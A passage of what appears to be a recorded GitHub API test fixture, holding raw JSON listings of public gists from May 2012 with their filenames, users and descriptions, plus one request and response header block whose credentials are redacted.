2","created_at":"2012-05-19T02:42:34Z","id":"2728754"},{"updated_at":"2012-05-19T02:42:26Z","url":"https://api.github.com/gists/2728751","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728751.git","files":{"fetch":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728751/a00f22cd91f53c86bdb95c33a84eaa73794b4249/fetch","size":3186,"filename":"fetch","language":null}},"html_url":"https://gist.github.com/2728751","git_push_url":"git@gist.github.com:2728751.git","user":{"url":"https://api.github.com/users/dariongg","gravatar_id":"bc78aea61cd6c0769c2172e6954ed922","login":"dariongg","avatar_url":"https://secure.gravatar.com/avatar/bc78aea61cd6c0769c2172e6954ed922?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1194592},"description":"Fetch Settings for Sublime Text 2","created_at":"2012-05-19T02:42:26Z","id":"2728751"},{"updated_at":"2012-05-19T02:49:47Z","url":"https://api.github.com/gists/2728748","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728748.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728748/ad40dcf5ca43cd0f9ed9b1f2a15334906512a2d9/dabblet.css","size":287,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728748/31d7fbafcf0315d06130bce12d6fbdfedd800bb8/dabblet.html","size":93,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728748/fb9b4820339c3ac92ed0ce73ce7827bbf23c860d/settings.json","size":79,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728748","git_push_url":"git@gist.github.com:2728748.git","user":{"url":"https://api.github.com/users/sebphfx","gravatar_id":"048caa6ac97019a60ee4ff4b28793fa2","login":"sebphfx","avatar_url":"https://secure.gravatar.com/avatar/048caa6ac97019a60ee4ff4b28793fa2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":850967},"description":"TEST","created_at":"2012-05-19T02:41:53Z","id":"2728748"},{"updated_at":"2012-05-19T02:28:54Z","url":"https://api.github.com/gists/2728721","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728721.git","files":{"composer.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728721/380a1e6943dbcec17f634ffd4e49797dfb9b597a/composer.json","size":2021,"filename":"composer.json","language":"JSON"}},"html_url":"https://gist.github.com/2728721","git_push_url":"git@gist.github.com:2728721.git","user":{"url":"https://api.github.com/users/zircote","gravatar_id":"31fbce06e38990bc2933f92809adaef6","login":"zircote","avatar_url":"https://secure.gravatar.com/avatar/31fbce06e38990bc2933f92809adaef6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":307960},"description":"Example Composer utlizing Zend Framework 1.11.9 via SVN","created_at":"2012-05-19T02:28:54Z","id":"2728721"},{"updated_at":"2012-05-19T02:26:09Z","url":"https://api.github.com/gists/2728716","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728716.git","files":{"build.sbt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728716/6c12cf8b5387a77fffe786eada4d76f71676eed3/build.sbt","size":156,"filename":"build.sbt","language":"Scala"}},"html_url":"https://gist.github.com/2728716","git_push_url":"git@gist.github.com:2728716.git","user":{"url":"https://api.github.com/users/Yasushi","gravatar_id":"090cc30a35022b07874503ac613230c9","login":"Yasushi","avatar_url":"https://secure.gravatar.com/avatar/090cc30a35022b07874503ac613230c9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":7523},"description":"Code snippet of build.sbt for Finagle 4.0.2 in Scala 2.9.1","created_at":"2012-05-19T02:26:09Z","id":"2728716"},{"updated_at":"2012-05-19T02:25:59Z","url":"https://api.github.com/gists/2728715","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728715.git","files":{"gistfile1.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728715/2c3e6dff2d2453e81d01f45deafcbff383a7d534/gistfile1.rb","size":4790,"filename":"gistfile1.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728715","git_push_url":"git@gist.github.com:2728715.git","user":{"url":"https://api.github.com/users/Asher-","gravatar_id":"7df7b1298469ef2cc384febe8cde00f0","login":"Asher-","avatar_url":"https://secure.gravatar.com/avatar/7df7b1298469ef2cc384febe8cde00f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":372276},"description":"","created_at":"2012-05-19T02:25:59Z","id":"2728715"},{"updated_at":"2012-05-19T02:24:50Z","url":"https://api.github.com/gists/2728705","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728705.git","files":{"revert.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2728705/19115b3dc4c49d0672da4817bed6cc4b1e6e7a09/revert.py","size":1821,"filename":"revert.py","language":"Python"}},"html_url":"https://gist.github.com/2728705","git_push_url":"git@gist.github.com:2728705.git","user":{"url":"https://api.github.com/users/marciomazza","gravatar_id":"18ea4c1e271c0b3ffca2da11df5191c4","login":"marciomazza","avatar_url":"https://secure.gravatar.com/avatar/18ea4c1e271c0b3ffca2da11df5191c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":579665},"description":"reverting accidental replace 'tab' -> ' ' in collective.developermanual b59bd0","created_at":"2012-05-19T02:23:49Z","id":"2728705"},{"updated_at":"2012-05-19T02:23:05Z","url":"https://api.github.com/gists/2728701","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728701.git","files":{"gistfile1.cs":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728701/89b188e3966ae67cdcba8a024474337f6cf22a2d/gistfile1.cs","size":1228,"filename":"gistfile1.cs","language":"C#"}},"html_url":"https://gist.github.com/2728701","git_push_url":"git@gist.github.com:2728701.git","user":{"url":"https://api.github.com/users/pinzolo","gravatar_id":"3140de70ab04d8f9fc979447b0b4fb16","login":"pinzolo","avatar_url":"https://secure.gravatar.com/avatar/3140de70ab04d8f9fc979447b0b4fb16?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1542781},"description":"Typeクラス拡張","created_at":"2012-05-19T02:23:05Z","id":"2728701"},{"updated_at":"2012-05-19T02:22:25Z","url":"https://api.github.com/gists/2728699","comments":5,"public":true,"git_pull_url":"git://gist.github.com/2728699.git","files":{"updates.md":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728699/00963b41c91e89c37ed3bb1e38a67e571a51d929/updates.md","size":13611,"filename":"updates.md","language":"Markdown"}},"html_url":"https://gist.github.com/2728699","git_push_url":"git@gist.github.com:2728699.git","user":{"url":"https://api.github.com/users/wycats","gravatar_id":"428167a3ec72235ba971162924492609","login":"wycats","avatar_url":"https://secure.gravatar.com/avatar/428167a3ec72235ba971162924492609?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":4},"description":"","created_at":"2012-05-19T02:22:25Z","id":"2728699"},{"updated_at":"2012-05-19T02:22:03Z","url":"https://api.github.com/gists/2728697","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728697.git","files":{"gistfile1.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728697/2a09840b3d7139c47dca8fa2ab697622ba2797f5/gistfile1.rb","size":496,"filename":"gistfile1.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728697","git_push_url":"git@gist.github.com:2728697.git","user":{"url":"https://api.github.com/users/Asher-","gravatar_id":"7df7b1298469ef2cc384febe8cde00f0","login":"Asher-","avatar_url":"https://secure.gravatar.com/avatar/7df7b1298469ef2cc384febe8cde00f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":372276},"description":"","created_at":"2012-05-19T02:22:03Z","id":"2728697"},{"updated_at":"2012-05-19T02:19:44Z","url":"https://api.github.com/gists/2728688","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728688.git","files":{"infix_calc.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2728688/9b652f29d7bd366e45fb36fabcc7716ecdb5e626/infix_calc.py","size":2784,"filename":"infix_calc.py","language":"Python"}},"html_url":"https://gist.github.com/2728688","git_push_url":"git@gist.github.com:2728688.git","user":{"url":"https://api.github.com/users/AnthonyReid99","gravatar_id":"e4cf9bbab57f661fc76f4d61b4867ab2","login":"AnthonyReid99","avatar_url":"https://secure.gravatar.com/avatar/e4cf9bbab57f661fc76f4d61b4867ab2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1650435},"description":"","created_at":"2012-05-19T02:19:44Z","id":"2728688"},{"updated_at":"2012-05-19T02:17:32Z","url":"https://api.github.com/gists/2728683","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728683.git","files":{"gistfile1.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728683/d498fcadc2eb9f37054f7781936242ee197517b5/gistfile1.rb","size":560,"filename":"gistfile1.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728683","git_push_url":"git@gist.github.com:2728683.git","user":{"url":"https://api.github.com/users/Asher-","gravatar_id":"7df7b1298469ef2cc384febe8cde00f0","login":"Asher-","avatar_url":"https://secure.gravatar.com/avatar/7df7b1298469ef2cc384febe8cde00f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":372276},"description":"","created_at":"2012-05-19T02:17:32Z","id":"2728683"},{"updated_at":"2012-05-19T02:14:44Z","url":"https://api.github.com/gists/2728677","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728677.git","files":{"questions.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2728677/a03f6658f2fea54558001ecaf0dca97b87563f5f/questions.py","size":895,"filename":"questions.py","language":"Python"}},"html_url":"https://gist.github.com/2728677","git_push_url":"git@gist.github.com:2728677.git","user":{"url":"https://api.github.com/users/occam98","gravatar_id":"034f0b7952e33bf8195dd0a82b6dfe82","login":"occam98","avatar_url":"https://secure.gravatar.com/avatar/034f0b7952e33bf8195dd0a82b6dfe82?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":882807},"description":"Question counter","created_at":"2012-05-19T02:14:44Z","id":"2728677"},{"updated_at":"2012-05-19T02:06:22Z","url":"https://api.github.com/gists/2728649","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728649.git","files":{"recursive.sh":{"type":"application/sh","raw_url":"https://gist.github.com/raw/2728649/eec5db0c2c506b6a529b120f36325db6864ea47a/recursive.sh","size":704,"filename":"recursive.sh","language":"Shell"}},"html_url":"https://gist.github.com/2728649","git_push_url":"git@gist.github.com:2728649.git","user":{"url":"https://api.github.com/users/jou4","gravatar_id":"6f13ec914c1a19920d00b87f76e604be","login":"jou4","avatar_url":"https://secure.gravatar.com/avatar/6f13ec914c1a19920d00b87f76e604be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":478777},"description":"対象のディレクトリを再帰的に走査して、ディレクトリ名変更やファイル内の文字列置換を行うスクリプト","created_at":"2012-05-19T02:06:22Z","id":"2728649"},{"updated_at":"2012-05-19T02:06:04Z","url":"https://api.github.com/gists/2728640","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728640.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728640/7c33d47b2aad36ae0b592f52a6e4479613661845/dabblet.css","size":563,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728640/979bf5faf8256779e2ee5e14468133b15b722aec/dabblet.html","size":43,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728640/f9b473b3380e302ad0c707460c59a541870e0d3b/settings.json","size":79,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728640","git_push_url":"git@gist.github.com:2728640.git","user":{"url":"https://api.github.com/users/lucasmazza","gravatar_id":"450908b4010abbbf9eebc146ed4c0246","login":"lucasmazza","avatar_url":"https://secure.gravatar.com/avatar/450908b4010abbbf9eebc146ed4c0246?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":80978},"description":"Untitled","created_at":"2012-05-19T02:06:04Z","id":"2728640"},{"updated_at":"2012-05-19T02:05:12Z","url":"https://api.github.com/gists/2728625","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728625.git","files":{"underscoreR.coffee":{"type":"text/coffescript","raw_url":"https://gist.github.com/raw/2728625/62ace4310f3e1ad79c184765af7941efaeafa2a9/underscoreR.coffee","size":769,"filename":"underscoreR.coffee","language":"CoffeeScript"}},"html_url":"https://gist.github.com/2728625","git_push_url":"git@gist.github.com:2728625.git","user":{"url":"https://api.github.com/users/bpartridge","gravatar_id":"fdf9c315a72fb628cf3f0c578d6b7210","login":"bpartridge","avatar_url":"https://secure.gravatar.com/avatar/fdf9c315a72fb628cf3f0c578d6b7210?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":20748},"description":"Add CoffeeScript friendly argument order to Underscore.js","created_at":"2012-05-19T02:05:12Z","id":"2728625"},{"updated_at":"2012-05-19T02:04:42Z","url":"https://api.github.com/gists/2728620","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728620.git","files":{"phantom-sample.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728620/898d04b4b0654c184795efb1114fa7391cdd5f21/phantom-sample.js","size":564,"filename":"phantom-sample.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2728620","git_push_url":"git@gist.github.com:2728620.git","user":{"url":"https://api.github.com/users/ryuone","gravatar_id":"2f7ac74a21a0719eeea285fc5abcaaec","login":"ryuone","avatar_url":"https://secure.gravatar.com/avatar/2f7ac74a21a0719eeea285fc5abcaaec?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":78976},"description":"phantom-sample.js","created_at":"2012-05-19T02:04:42Z","id":"2728620"},{"updated_at":"2012-05-19T02:03:21Z","url":"https://api.github.com/gists/2728615","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728615.git","files":{".vimrc":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728615/26839c061648cf5bb1e3435656f2e7f4e12ea560/.vimrc","size":1574,"filename":".vimrc","language":"VimL"}},"html_url":"https://gist.github.com/2728615","git_push_url":"git@gist.github.com:2728615.git","user":{"url":"https://api.github.com/users/ikaro1192","gravatar_id":"c219736220e0b8ccdb10e6fe7278ffaa","login":"ikaro1192","avatar_url":"https://secure.gravatar.com/avatar/c219736220e0b8ccdb10e6fe7278ffaa?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239660},"description":"vimrcのバックアップ","created_at":"2012-05-19T02:03:21Z","id":"2728615"},{"updated_at":"2012-05-19T02:11:44Z","url":"https://api.github.com/gists/2728614","comments":1,"public":true,"git_pull_url":"git://gist.github.com/2728614.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728614/cfd561370a756d712d761f75b98ab502867be40b/gistfile1.txt","size":890,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728614","git_push_url":"git@gist.github.com:2728614.git","user":{"url":"https://api.github.com/users/dpereira","gravatar_id":"f8c1635e7a185ddb5a0e447e2e010778","login":"dpereira","avatar_url":"https://secure.gravatar.com/avatar/f8c1635e7a185ddb5a0e447e2e010778?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":309799},"description":"Python decorators as per test pre-condition setUp (bonus: they are composable)","created_at":"2012-05-19T02:03:20Z","id":"2728614"}] https GET api.github.com None /gists/public?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '28308'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"1fcb97854c213ddcae432893e0cfee55"'), ('date', 'Sat, 19 May 2012 06:25:55 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-19T01:58:51Z","url":"https://api.github.com/gists/2728565","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728565.git","git_push_url":"git@gist.github.com:2728565.git","files":{"brew_doctor":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728565/b672fa29b0e9ece1289df560a9d0400c11e43d24/brew_doctor","size":42,"filename":"brew_doctor","language":null},"install_output":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728565/0ea63c66353a52f0598df527ee6fe836e6e81d61/install_output","size":486,"filename":"install_output","language":null}},"html_url":"https://gist.github.com/2728565","user":{"url":"https://api.github.com/users/rwestafer","gravatar_id":"ce07029cb168b49c7e8b200a3eee68ed","avatar_url":"https://secure.gravatar.com/avatar/ce07029cb168b49c7e8b200a3eee68ed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"rwestafer","id":844251},"description":"brew install octave","created_at":"2012-05-19T01:58:51Z","id":"2728565"},{"updated_at":"2012-05-19T01:55:44Z","url":"https://api.github.com/gists/2728564","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728564.git","git_push_url":"git@gist.github.com:2728564.git","files":{"reultado.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728564/8a55b8d0039a9a6c7eb6c0a342849d1daee47219/reultado.txt","size":182,"filename":"reultado.txt","language":"Text"},"beck.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728564/d98f5ca6a26f29e40d30be809a724bbfa007f042/beck.rb","size":331,"filename":"beck.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728564","user":{"url":"https://api.github.com/users/dmitrynix","gravatar_id":"1c667bd569578905ca81c7af804083db","avatar_url":"https://secure.gravatar.com/avatar/1c667bd569578905ca81c7af804083db?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"dmitrynix","id":53300},"description":"","created_at":"2012-05-19T01:55:44Z","id":"2728564"},{"updated_at":"2012-05-19T01:49:21Z","url":"https://api.github.com/gists/2728554","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728554.git","git_push_url":"git@gist.github.com:2728554.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728554/a92d2cff5a1750ffd34b950302fd2d794e07d767/gistfile1.txt","size":654,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728554","user":{"url":"https://api.github.com/users/dmitrynix","gravatar_id":"1c667bd569578905ca81c7af804083db","avatar_url":"https://secure.gravatar.com/avatar/1c667bd569578905ca81c7af804083db?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"dmitrynix","id":53300},"description":"","created_at":"2012-05-19T01:49:21Z","id":"2728554"},{"updated_at":"2012-05-19T01:42:04Z","url":"https://api.github.com/gists/2728523","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728523.git","git_push_url":"git@gist.github.com:2728523.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728523/b14dda8e226fcb461e7b4f9370c9a2dcb4165417/gistfile1.txt","size":673,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728523","user":{"url":"https://api.github.com/users/mikegrb","gravatar_id":"d616fde29ac0c71b9388a98a8c418bf6","avatar_url":"https://secure.gravatar.com/avatar/d616fde29ac0c71b9388a98a8c418bf6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"mikegrb","id":98198},"description":"","created_at":"2012-05-19T01:42:04Z","id":"2728523"},{"updated_at":"2012-05-19T01:39:29Z","url":"https://api.github.com/gists/2728519","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728519.git","git_push_url":"git@gist.github.com:2728519.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728519/722eb8117f56805c4c9203a45d35ac254d6277e7/gistfile1.txt","size":97,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728519","user":{"url":"https://api.github.com/users/nateluzod","gravatar_id":"91af41dd33380f98217b8f18f0afa11b","avatar_url":"https://secure.gravatar.com/avatar/91af41dd33380f98217b8f18f0afa11b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nateluzod","id":514800},"description":"Zebra Striping with JSP","created_at":"2012-05-19T01:39:29Z","id":"2728519"},{"updated_at":"2012-05-19T01:36:41Z","url":"https://api.github.com/gists/2728511","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728511.git","git_push_url":"git@gist.github.com:2728511.git","files":{"benchmark.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728511/c104341058b04e8df33bdc7c5caca0824fc9f140/benchmark.txt","size":137,"filename":"benchmark.txt","language":"Text"},"json2csv.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2728511/65f9e62c6c63183acfd8f61198c6ce959062f5be/json2csv.py","size":526,"filename":"json2csv.py","language":"Python"}},"html_url":"https://gist.github.com/2728511","user":{"url":"https://api.github.com/users/thinkjson","gravatar_id":"40b11c51061d8ac16284827aaa43ee58","avatar_url":"https://secure.gravatar.com/avatar/40b11c51061d8ac16284827aaa43ee58?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"thinkjson","id":200365},"description":"JSON to CSV conversion benchmarking","created_at":"2012-05-19T01:36:41Z","id":"2728511"},{"updated_at":"2012-05-19T01:38:59Z","url":"https://api.github.com/gists/2728497","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728497.git","git_push_url":"git@gist.github.com:2728497.git","files":{"gistfile1.rkt":{"type":"text/scheme","raw_url":"https://gist.github.com/raw/2728497/2f98db09c722fdc1b67e9ee36e2a74d48c9f77d0/gistfile1.rkt","size":1606,"filename":"gistfile1.rkt","language":"Racket"}},"html_url":"https://gist.github.com/2728497","user":{"url":"https://api.github.com/users/danking","gravatar_id":"04f0f7c2e53e406e17528b434a96b0f3","avatar_url":"https://secure.gravatar.com/avatar/04f0f7c2e53e406e17528b434a96b0f3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danking","id":106194},"description":"A hack to get multiple auto-values","created_at":"2012-05-19T01:30:49Z","id":"2728497"},{"updated_at":"2012-05-19T02:00:16Z","url":"https://api.github.com/gists/2728496","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728496.git","git_push_url":"git@gist.github.com:2728496.git","files":{".gitignore":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728496/dfe05c7e9d7ecb6646d47fa66a5f86bce73abb80/.gitignore","size":79,"filename":".gitignore","language":null}},"html_url":"https://gist.github.com/2728496","user":{"url":"https://api.github.com/users/mfindlater","gravatar_id":"0192c477480a42e2b270fda07542ac25","avatar_url":"https://secure.gravatar.com/avatar/0192c477480a42e2b270fda07542ac25?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"mfindlater","id":1313463},"description":"Unity .gitignore","created_at":"2012-05-19T01:30:01Z","id":"2728496"},{"updated_at":"2012-05-19T01:29:51Z","url":"https://api.github.com/gists/2728495","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728495.git","git_push_url":"git@gist.github.com:2728495.git","files":{"printTreeLevelOrder.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728495/b1370c0e911cffe195031a434b769595bed2fd4e/printTreeLevelOrder.cpp","size":1001,"filename":"printTreeLevelOrder.cpp","language":"C++"},"printAlmostCompleteTreeLeverOrder.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728495/7c52ea9408481c86a23f1ee17dd71fa0634c49a0/printAlmostCompleteTreeLeverOrder.cpp","size":1099,"filename":"printAlmostCompleteTreeLeverOrder.cpp","language":"C++"}},"html_url":"https://gist.github.com/2728495","user":{"url":"https://api.github.com/users/miggaiowski","gravatar_id":"0a3d19c5aab8adac0a7eb8746568f967","avatar_url":"https://secure.gravatar.com/avatar/0a3d19c5aab8adac0a7eb8746568f967?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"miggaiowski","id":473201},"description":"print tree by level order","created_at":"2012-05-19T01:29:51Z","id":"2728495"},{"updated_at":"2012-05-19T01:27:15Z","url":"https://api.github.com/gists/2728487","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728487.git","git_push_url":"git@gist.github.com:2728487.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728487/50d169c111d3bec00d4f62b37f43c857c6642011/gistfile1.txt","size":4756,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728487","user":{"url":"https://api.github.com/users/zentrification","gravatar_id":"1a8020e101199de55c1b3b726f342321","avatar_url":"https://secure.gravatar.com/avatar/1a8020e101199de55c1b3b726f342321?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"zentrification","id":46617},"description":"","created_at":"2012-05-19T01:27:15Z","id":"2728487"},{"updated_at":"2012-05-19T01:21:29Z","url":"https://api.github.com/gists/2728479","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728479.git","git_push_url":"git@gist.github.com:2728479.git","files":{"TDD.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728479/29ad479bb2dd86e85957a568c795ef04369efa9e/TDD.txt","size":762,"filename":"TDD.txt","language":"Text"}},"html_url":"https://gist.github.com/2728479","user":{"url":"https://api.github.com/users/ryuone","gravatar_id":"2f7ac74a21a0719eeea285fc5abcaaec","avatar_url":"https://secure.gravatar.com/avatar/2f7ac74a21a0719eeea285fc5abcaaec?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ryuone","id":78976},"description":"TDD","created_at":"2012-05-19T01:21:29Z","id":"2728479"},{"updated_at":"2012-05-19T01:17:06Z","url":"https://api.github.com/gists/2728469","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728469.git","git_push_url":"git@gist.github.com:2728469.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728469/da9eedec484613342d9725cd95db955d49fa947b/gistfile1.txt","size":15323,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728469","user":{"url":"https://api.github.com/users/jesboat","gravatar_id":"deffb4efbaa060f0a39f5ed79844e2d4","avatar_url":"https://secure.gravatar.com/avatar/deffb4efbaa060f0a39f5ed79844e2d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jesboat","id":112358},"description":"Packet trace for ServerFault question http://serverfault.com/questions/390558","created_at":"2012-05-19T01:17:06Z","id":"2728469"},{"updated_at":"2012-05-19T01:15:23Z","url":"https://api.github.com/gists/2728467","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728467.git","git_push_url":"git@gist.github.com:2728467.git","files":{"hoge.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728467/c9cd50de6b6599cd0c802f66d6497d82966248c8/hoge.rb","size":44,"filename":"hoge.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728467","user":{"url":"https://api.github.com/users/ogawaso","gravatar_id":"2f66898c0b4ae9128b684516225f74aa","avatar_url":"https://secure.gravatar.com/avatar/2f66898c0b4ae9128b684516225f74aa?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ogawaso","id":39783},"description":"","created_at":"2012-05-19T01:15:23Z","id":"2728467"},{"updated_at":"2012-05-19T01:12:24Z","url":"https://api.github.com/gists/2728462","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728462.git","git_push_url":"git@gist.github.com:2728462.git","files":{"bane.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728462/78ade2748d032cc715e23c8817375bb984bd2b1d/bane.rb","size":192,"filename":"bane.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728462","user":{"url":"https://api.github.com/users/Vaguery","gravatar_id":"db04d40ecceb0a4c0683a60462d11794","avatar_url":"https://secure.gravatar.com/avatar/db04d40ecceb0a4c0683a60462d11794?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Vaguery","id":81171},"description":"An actually impossible Cargo-Bot 